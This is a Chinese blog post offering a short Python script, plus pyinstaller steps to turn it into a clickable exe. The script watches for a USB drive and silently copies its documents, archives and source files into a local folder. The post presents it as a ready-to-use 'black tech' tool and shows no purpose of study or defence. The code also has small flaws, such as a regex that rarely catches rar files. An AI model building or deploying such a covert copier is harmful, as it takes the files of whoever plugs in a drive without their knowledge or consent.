美文网首页编程之美-Pyhon
Python黑科技 实现U盘自动读取复制~几行代码搞定

Python黑科技 实现U盘自动读取复制~几行代码搞定

作者: 5a405bf0064d | 来源:发表于2018-09-27 18:01 被阅读158次

    python玩蛇群 欢迎加入 901170193

    先贴代码

    import os,time,shutil,re
     
     
     
    #识别文件的格式
    regex_filename = re.compile(r'(.*zip$)|(.rar$)|(.*docx$)|(.*ppt$)|(.*xls$)|(.*py$)')
     
    def usb_monitor(sleep_time,usb_path,copy_folder):
     
     
        if not os.path.exists(copy_folder):
            os.mkdir(copy_folder)
     
        a = 0
     
        while True:
     
            time.sleep(sleep_time)
     
     
            start_time = time.time()
            file_num = 0
     
            try:
                u = os.listdir(usb_path)
            except FileNotFoundError:
                print('usb is not found')
                a=0
                continue
     
            if a>0:
                print('usb has already copied')
                continue
     
            copy_folder = os.path.join(copy_folder, time.strftime('%Y-%m-%d %H-%M', time.localtime()))
            os.mkdir(copy_folder)
            for root, dirs, files in os.walk(usb_path):
                if a == 0:
                    print('start copy usb is {}'.format(dirs[0]))
                    usb_name = dirs[0]
     
                a += 1
     
                if len(files)==0:
                    continue
     
                for name in files:
     
                    file = os.path.join(root,name)
                    if regex_filename.match(file) and os.path.getsize(file) < 1024*1024*2:
                        file_num+=1
     
     
                        print(file)
                        # file_create_time = time.ctime(os.path.getctime(file))
                        file_create_time = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(os.path.getctime(file)))
     
                        shutil.copy2(file,copy_folder)
                    else:
                        continue
            if file_num==0:
                print('usb is not found file')
                continue
            print('共下载{}份文件---用时:{}s'.format(file_num,time.time()-start_time))
     
     
     
     
    usb_monitor(1,r'F:/',r'save_path')
     
     
    
    
    
    

    大概的流程就是 设置个循环定时扫描,如果检测到u盘的盘符就开始复制里面的文件,可以设置拷贝文件的大小和想要拷贝文件的格式,需要在py中配置,如果想要很方便的配置可以加个sys.argv 接受参数,设置参数,这里我就不配置了!!相信看此文的人都是很聪明的boy!!! 然后可以使用pyinstaller 就行打包 ,这样在window下可以直接单击使用啦!!!方便小白!!哈哈哈

    简单介绍下pyinstaller

    安装

    pip install pyinstaller
    

    打包文件

    pyinstall -F -i   image.ico   demo.py
    

    ps:image.ico 是exe程序的图标可以去https://www.easyicon.net/34713-heart_icon.html 下载自己想要的图标

    打包之后会在当前目录生成一个dist 文件,里面就是生成的exe文件了,点击!!!!神奇的事情发生了!!!

    脚本实现.png exe程序.png python玩蛇群.png

    感性趣的boy赶紧行动起来!!!欢迎加入玩蛇群 901170193

    喜欢的boy点个小💗💗 嘻嘻嘻嘻

    相关文章

      网友评论

      本文标题:Python黑科技 实现U盘自动读取复制~几行代码搞定

      本文链接:https://www.haomeiwen.com/subject/sbfyoftx.html